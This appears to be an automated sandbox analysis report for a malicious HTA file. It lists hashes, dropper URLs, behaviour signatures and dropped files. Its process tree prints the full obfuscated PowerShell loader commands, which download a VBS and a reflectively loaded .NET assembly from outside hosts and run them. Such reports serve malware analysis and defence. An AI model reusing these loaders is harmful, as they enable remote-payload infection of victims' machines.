Analysis

  • max time kernel
    14s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 01:00

General

  • Target

    35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta

  • Size

    178KB

  • MD5

    05dcffe1d8e8e209a90b522192ad8000

  • SHA1

    77c19b392d39bce4906b5c4e5f1ab0a0c9182dc7

  • SHA256

    35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5

  • SHA512

    11eafd5f126bb4873ec7be1dc6fe7246f3de8324c413073bc914827695ed1db1bb9b6e870414c0d4aba990a6a817d6c029f7aa02e5061434dcdb965a378b5734

  • SSDEEP

    48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\SysWOW64\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe
      "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3028
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD7D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCD7C.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3064
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESCD7D.tmp

    Filesize

    1KB

    MD5

    486f35d71ec045b6f1e6f7336376157e

    SHA1

    004b43de66a7d88a30ac0f4f6b7be16623d31be4

    SHA256

    2bd847f77c4057f53098a839bb14f02d748683891f632cbe035d0d50a1e3079e

    SHA512

    0ba57389641e0a415ff68cbf9de8fe84b6df2c22a53201d466f4d7430c54e408cff964e58ec29fe9c5217988100b87cd361db2bcfb9b5593bf8531fcccdc91d5

  • C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.dll

    Filesize

    3KB

    MD5

    bb901771d6581bcf9e2da4973d5e3298

    SHA1

    c5ebda065d468bf67af092d0a8abcf64097e89f3

    SHA256

    712e6ce1a5bfbeb270071524a9dbb6e65c0a8fa8a7cbf363bbdcfe2c0a843673

    SHA512

    7624e5fbb716a08bd08d04d93754cb515049b2963b2b621f7fa466c4e4888716fdd22e7850772bb12d00a525151fcc982639e5496a830cc1959596583d8cc8cc

  • C:\Users\Admin\AppData\Local\Temp\l2ifl1q9.pdb

    Filesize

    7KB

    MD5

    69150d8835b5896a3636ac42f7296b89

    SHA1

    124288dec1480a77774e87167bc963f535edf132

    SHA256

    4e1f2fe72ec9760486be25608e6faae427da409c44a958650e0f7484363b1899

    SHA512

    0f3772ac082cf0308370a4e08f88c98695b588bd312a6fb480b4a334ab4159379b14d623cdd6ef48529bc2ccb0972da84301ccd6ff1efe8677f92429e77bfc7b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    334540864de145a6e81684b5d8a658fb

    SHA1

    a2740b7357d07a0c41c3960532d7018408f1b18b

    SHA256

    78bc73b3086cfc58d101aefb228705480c05c1ab131c436435241e25466dfc6a

    SHA512

    f24cc4b781a248b967e54ccd9b1b60235569abc30f27c37a2432ab8195205877a8c7d07eb22b77fc4a81a083f78ac4889f3cf0e930e2f01c9650d81d3369658c

  • C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

    Filesize

    137KB

    MD5

    855d024750a1bc1bc078e60c05e506e3

    SHA1

    480c344ef4e060adb7ca7e159c815cb38ac87614

    SHA256

    560327e8e4c818547fe966c8704d97270986b7457d62a154219e81ed4afb4667

    SHA512

    64a68dd3c8750e7a90c95078dc1db87086c546212b56348e6d45f4444b5dd7e6725f3b5ddbc2c414d08a7df2fbf2eecd11b9ab414588ac7b66f57f70fbb85c94

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCCD7C.tmp

    Filesize

    652B

    MD5

    3a960f57737d0b9a22fafb0c4a10837a

    SHA1

    bc0628e5c865c0a03cf9f423f056c03ed9cc01ea

    SHA256

    bd793f940f3b6eda258057639484bee6fc682bfdceca1608de0413957525fc88

    SHA512

    1ce9a5312e9f05739da847bb69664c1c6185410a8dbce4398c23d048668c1d7a454ed652926675ad739400cb82458e066876b3a32d2ade02415764d48a16136e

  • \??\c:\Users\Admin\AppData\Local\Temp\l2ifl1q9.0.cs

    Filesize

    472B

    MD5

    1a212b8a44924d84eeba108f2409b5e8

    SHA1

    b19066fab9c3329cd206958dacee65a08607586b

    SHA256

    977b687ccdcaea25b4afdd04dbac19bf12b31afad4ae226d7b7e5ed5cabcf073

    SHA512

    4d4bbada1880ce68ceeaff34a1d412350f715c0f5f741f7f47692549280dc92738881ce1fff7bbcd472610a63d99ded94ca713cc859b330a07d13df2313ea453

  • \??\c:\Users\Admin\AppData\Local\Temp\l2ifl1q9.cmdline

    Filesize

    309B

    MD5

    194f1a969097c02371426026742855d0

    SHA1

    37c0a174c760021b1e6289d6589f45bc787192a9

    SHA256

    5c7ea66666ee5b7e8c3d0b10a6b8f2082bd886ccca0469caf6cba6b91339e7f0

    SHA512

    77e261f028cc6f3a6650e0cd6b34604c246db95325d58bd6edf80d609e39b87bb25f13a456a74ad9b4f782faba01a3fff88448914e13edd823ff28616bc6daad